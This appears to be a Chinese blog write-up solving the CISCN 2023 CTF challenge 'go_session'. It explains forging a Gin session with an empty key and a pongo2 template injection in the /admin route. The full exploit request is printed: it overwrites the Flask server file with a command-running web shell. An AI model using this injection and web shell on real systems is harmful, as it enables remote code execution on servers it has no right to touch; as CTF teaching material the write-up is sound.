6.29

发布时间 2023-06-29 23:44:14作者: V3g3t4ble

[CISCN 2023 初赛]go_session

[session伪造]
三个路由

r.GET("/", route.Index)  
r.GET("/admin", route.Admin)  
r.GET("/flask", route.Flask)

逐个分析
route包里面首先获取了环境变量中的SESSION_KEY

func Index(c *gin.Context) {  
session, err := store.Get(c.Request, "session-name")  
if err != nil {  
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)  
return  
}  
if session.Values["name"] == nil {  
session.Values["name"] = "guest"  
err = session.Save(c.Request, c.Writer)  
if err != nil {  
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)  
return  
}  
}  
  
c.String(200, "Hello, guest")  
}

只是生成了一个nameguest的session没发现什么利用点

func Admin(c *gin.Context) {  
session, err := store.Get(c.Request, "session-name")  
if err != nil {  
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)  
return  
}  
if session.Values["name"] != "admin" {  
http.Error(c.Writer, "N0", http.StatusInternalServerError)  
return  
}  
name := c.DefaultQuery("name", "ssti")  
xssWaf := html.EscapeString(name)  
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")  
if err != nil {  
panic(err)  
}  
out, err := tpl.Execute(pongo2.Context{"c": c})  
if err != nil {  
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)  
return  
}  
c.String(200, out)  
}

pongo2的ssti

func Flask(c *gin.Context) {  
session, err := store.Get(c.Request, "session-name")  
if err != nil {  
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)  
return  
}  
if session.Values["name"] == nil {  
if err != nil {  
http.Error(c.Writer, "N0", http.StatusInternalServerError)  
return  
}  
}  
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))  
if err != nil {  
return  
}  
defer resp.Body.Close()  
body, _ := io.ReadAll(resp.Body)  
  
c.String(200, string(body))  
}

发现这里先验证了session中的name,然后对内网中的Web服务发起请求,并返回结果,不难推测出来这里内网的Web服务是flask
首先需要绕过session的验证,没有找到泄露的点,所以尝试一下空字符串或者爆破SESSION_KEY
空字符串生成一个session,成功绕过
image.png
接下来就该思考怎么rce了,对flask路由传畸形参数,构造出报错,可以得到的信息有

  • 源码路径/app/server.py
  • debug=True
    这就表明,Flask框架是热加载的,app.py发生改变,程序也会更新,可以利用admin路由执行Go代码去覆盖掉app.py实现rce
    XssWaf会转义双引号,可以通过UA和Referer绕过传参
from flask import Flask  
import os  
  
app = Flask(__name__)  
  
  
@app.route('/<cmd>')  
def exp(cmd):  
	return os.popen(cmd).read()  
  
  
if __name__ == '__main__':  
	app.run(host="0.0.0.0", port=5000, debug=True)

构造请求包

GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.Referer())}} HTTP/1.1
Host: node1.anna.nssctf.cn:28435
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
User-Agent: file
Referer: /app/server.py
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUQT5N00lcNa5pAVX
Accept-Language: zh-CN,zh;q=0.9
Cookie: session-name=MTY4ODAyMDY1MnxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXxD8jaKZQnakiweASEwnpc_yYgnXzoFkwuRD5rEYy3oYw==
Connection: close
Content-Length: 432

------WebKitFormBoundaryUQT5N00lcNa5pAVX
Content-Disposition: form-data; name="file"; filename="1"
Content-Type: image/png

from flask import Flask  
import os  
  
app = Flask(__name__)  
  
  
@app.route('/<cmd>')  
def exp(cmd):  
return os.popen(cmd).read()  
  
  
if __name__ == '__main__':  
app.run(host="0.0.0.0", port=5000, debug=True)
------WebKitFormBoundaryUQT5N00lcNa5pAVX--

image.png
多次寻找,flag在环境变量里面